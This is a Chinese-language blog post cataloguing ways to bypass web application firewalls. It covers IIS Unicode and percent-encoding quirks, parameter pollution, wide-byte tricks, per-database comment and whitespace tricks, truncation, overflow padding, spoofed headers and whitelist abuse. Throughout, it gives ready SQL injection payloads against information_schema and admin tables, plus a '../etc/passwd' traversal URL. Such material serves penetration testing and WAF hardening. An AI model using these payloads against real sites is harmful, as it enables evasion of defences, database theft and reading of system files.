那些可以绕过 WAF 的各种特性

地球胖头鱼 2020-11-27
Web安全 发布于 2020-11-27 11:34:05 阅读 139 评论 0

我们一般将安全防护软件划分为:云waf、硬件waf、主机防护软件、软件waf等。

在攻防实战中,往往需要掌握一些特性,比如服务器、数据库、应用层、WAF层等,以便我们更灵活地去构造Payload,从而可以和各种WAF进行对抗,甚至绕过安全防御措施进行漏洞利用。

0x01 服务器特性

1、%特性(ASP+IIS)

在asp+iis的环境中存在一个特性,就是特殊符号%,在该环境下当们我输入s%elect的时候,在WAF层可能解析出来的结果就是s%elect,但是在iis+asp的环境的时候,解析出来的结果为select。

PS:此处猜测可能是iis下asp.dll解析时候的问题,aspx+iis的环境就没有这个特性。

2、%u特性(asp+iis和aspx+iis)

Iis服务器支持对于unicode的解析,例如我们对于select中的字符进行unicode编码,可以得到如下的s%u006c%u0006ect,这种字符在IIS接收到之后会被转换为select,但是对于WAF层,可能接收到的内容还是s%u006c%u0006ect,这样就会形成bypass的可能。

3、另类%u特性(ASP+IIS)

该漏洞主要利用的是unicode在iis解析之后会被转换成multibyte,但是转换的过程中可能出现:多个widechar会有可能转换为同一个字符。打个比方就是譬如select中的e对应的unicode为%u0065,但是%u00f0同样会被转换成为e。

s%u0065lect->select  s%u00f0lect->select

WAF层可能能识别s%u0065lect的形式,但是很有可能识别不了s%u00f0lect的形式。这样就可以利用起来做WAF的绕过。

常见三个关键字(union+select+from)的测试情况:

s%u0045lect = s%u0065lect = %u00f0lect
u --> %u0055 --> %u0075
n -->%u004e --> %u006e
i -->%u0049 --> %u0069
o -->%u004f --> %u006f -->%u00ba
s -->%u0053 --> %u0073
l -->%u004c --> %u006c
e -->%u0045 --> %u0065-->%u00f0
c -->%u0043 --> %u0063
t -->%u0054 -->%u0074 -->%u00de -->%u00fe
f -->%u0046 -->%u0066
r -->%u0052 -->%u0072
m -->%u004d -->%u006d

4、apache畸形method

在GET请求中,GET可以替换为任意参数名字,不影响apahce接收参数id=2。

TEST /sql.php?id=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

0x02 应用层特性

1、大小写/关键字替换

这是最简单的绕过技术,用来绕过只针对特定关键字,大小写不敏感。

id=1 UnIoN/**/SeLeCT 1,user()

将关键字进行等价替换:

Hex() bin() 等价于ascii()
Sleep() 等价于 benchmark()
Mid()substring() 等价于 substr()
@@user 等价于 User()
@@Version 等价于 version()

2、双重url编码

双重url编码,即对客户端发送的数据进行了两次urlencode操作,如s做一次url编码是%73,再进行一次编码是%25%37%33。一般情况下在代码层默认做一次url解码,这样解码之后的数据一般不会匹配到规则,达到了bypass的效果。

编码方式,如char或Hex编码、Unicode编码、BASE64编码等。

3、变换请求方式

将GET变成POST提交,或者POST请求将urlencode和form-data转换。

在POST请求中,可以将Post数据包转为上传multipart/form-data格式数据包。

构造参数提交代码:

<html><head></head><body>
<form action="http://192.168.204.128/test.php" method="post" enctype="multipart/form-data">
<input type="text" name="id">
<input type="submit">
</form></body>` `</html>

上传数据包参数:

------WebKitFormBoundaryACZoaLJJzUwc4hYM
Content-Disposition: form-data; name="id"
1
from information_schema.SCHEMATA
------WebKitFormBoundaryACZoaLJJzUwc4hYM--

4、HPP参数污染

类似?id=1&id=2&id=3的形式,此种形式在获取id值的时候不同的web技术获取的值是不一样的。

假设提交的参数即为:

id=1&id=2&id=3

得到的结果:
Asp.net + iis:id=1,2,3 
Asp + iis:id=1,2,3 
Php + apache:id=3
多种变形:MSSQL:
大小写:?id=1 UNION/*&ID=*/SELECT 1,2/*&Id=*/FROM ADMIN
GET+POST形式: 
http://192.168.125.140/test/sql.aspx?id=1 union/*
post:  id=2*/select null,null,null
利用逗号:?id=1 union select 1&id=2&id=3&id=4 from admin--(无逗号形式)
        ?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--(分割参数注入)
无效参数形式:?a=/*&sql=xxx&b=*/  
备注:a,b为无效参数,让waf误以为我们输入的语句是在注释符里面执行的所以就不拦截
溢出形式:?id=1/*&id=*//*&id=*//*......&id=*//*&id=*/ union  select null,system_user,null from INFORMATION_SCHEMA.schemata

Mysql:
?id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=.. &id=1 union select 1,2 from admin

5、宽字节

宽字节关键字对照表:

union =%69яю这里把i不用宽字节 直接url编码 其他的字符都用对应的宽字节
select = こхlх%уt //t不编码 其他的都宽字节 中间插上%
from = цR%яэ //宽字节+%
空格=%20=%ва //в是2的款字符 а是0的宽字符
, = Ь //,号的宽字节

0x03 数据库特性

1、Mysql技巧

  • mysql注释符有三种:#、/*...*/、-- ... (注意--后面有一个空格)
  • 空格符:[0x09,0x0a-0x0d,0x20,0xa0]
  • 特殊符号:%a 换行符可结合注释符使用%23%0a,%2d%2d%0a
  • 内联注释:/*!UnIon12345SelEcT*/ 1,user() //数字范围 1000-50540
  • mysql黑魔法select{x username}from {x11 test.admin};

2、SQL Server技巧

  • 用来注释掉注射后查询的其余部分:/* C语言风格注释-- SQL注释;00% 空字节
  • 空白符:[0x01-0x20]
  • 特殊符号:%3a 冒号id=1 union:select 1,2 from:admin
  • 函数变形:如db_name[空白字符]

3、Oracle技巧

  • 注释符:--/**/
  • 空白字符:[0x00,0x09,0x0a-0x0d,0x20]

4、更多特性

那些代码层防护,只能用数据库特性来正面怼,一般一个SQL语句组成包括如下几个位置:

select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】from【位置五】admin

0x04 WAF 层

1、逻辑问题

  • 云waf防护,一般我们会尝试通过查找站点的真实IP,从而绕过CDN防护。
  • 当提交GET、POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可轻易Bypass。
  • HTTP和HTTPS同时开放服务,没有做HTTP到HTTPS的强制跳转,导致HTTPS有WAF防护,HTTP没有防护,直接访问HTTP站点绕过防护。
  • 特殊符号%00,部分waf遇到%00截断,只能获取到前面的参数,无法获取到后面的有害参数输入,从而导致Bypass。比如:id=1%00and 1=2 union select 1,2,column_name from information_schema.columns

2、性能问题

猜想1:在设计WAF系统时,考虑自身性能问题,当数据量达到一定层级,不检测这部分数据。只要不断的填充数据,当数据达到一定数目之后,恶意代码就不会被检测了。

猜想2:不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度就会引发bug,从而实现绕过。

举例1:

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9
PS0xA*10000xA后面”A"重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考也许在有些情况下可能不需要这么长也能溢出。

举例2:

?a0=0&a1=1&.....&a100=100&id=1 union select 1,schema_name,3 from INFORMATION_SCHEMA.schemata
备注:获取请求参数,只获取前100个参数,第101个参数并没有获取到,导致SQL注入绕过。

3、白名单

方式一:IP白名单

测试方法:修改http的header来bypass waf

X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip

方式二:静态资源

方式三:url白名单

http://127.0.0.1/sql.php/admin.php?id=1
http://127.0.0.1/sql.php?a=/manage/&b=../etc/passwd
http://127.0.0.1/../../../manage/../sql.asp?id=2

waf通过/manage/进行比较,只要uri中存在/manage/就作为白名单不进行检测,这样我们可以通过/sql.php?a=/manage/&b=../etc/passwd绕过防御规则。

方式四:爬虫白名单

  • 根据UserAgent
  • 通过行为来判断

UserAgent可以很容易欺骗,我们可以伪装成爬虫尝试绕过。

User Agent Switcher (Firefox 附加组件),下载地址:

https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/

火狐插件安装完成后,按下ALT键,调出工具栏,伪造爬虫。

本作品采用《CC 协议》,转载必须注明作者和本文链接
讨论数量: 0
(= ̄ω ̄=)··· 暂无内容!
请勿发布不友善或者负能量的内容。与人为善,比聪明更重要!
地球胖头鱼
未填写
  • 作者发布文章187
  • 作者收获粉丝7
  • 作者收到点赞0
  • 所有文章被收藏了1
  • 博客总访问量排行第2
  • 博客总访问量3.3 万(每日更新)
查看所有博文